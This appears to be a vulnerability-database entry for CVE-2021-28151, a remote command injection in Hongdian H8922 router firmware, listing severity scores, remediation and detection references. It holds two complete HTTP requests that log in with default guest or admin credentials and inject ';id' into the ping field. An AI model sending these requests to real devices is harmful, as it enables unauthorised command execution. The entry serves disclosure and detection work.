🔙 목록으로 돌아가기

CVE-2021-28151: Hongdian H8922 3.0.5 - Remote Command Injection

TitleHongdian H8922 3.0.5 - Remote Command Injection
Authorgy741
SeverityHigh
ImpactSuccessful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.
RemediationApply the latest security patch or update to a non-vulnerable version of the Hongdian H8922 firmware.
CVSS Score8.8
EPSS Score0.92677
CVE IDCVE-2021-28151
CWE IDCWE-78
Tags cve2021 cve hongdian rce injection vkev vuln

🔍 Vulnerability Description

Hongdian H8922 3.0.5 devices are susceptible to remote command injection via shell metacharacters into the ip-address (a/k/a Destination) field to the tools.cgi ping command, which is accessible with the username guest and password guest. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system.

🌐 HTTP Request

POST /tools.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 30
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Origin: http://www.victim.com
Referer: http://www.victim.com/tools.cgi
Accept-Encoding: gzip

op_type=ping&destination=%3Bid
POST /tools.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Content-Length: 30
Authorization: Basic YWRtaW46YWRtaW4=
Origin: http://www.victim.com
Referer: http://www.victim.com/tools.cgi
Accept-Encoding: gzip

op_type=ping&destination=%3Bid

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-28151.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-28151.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A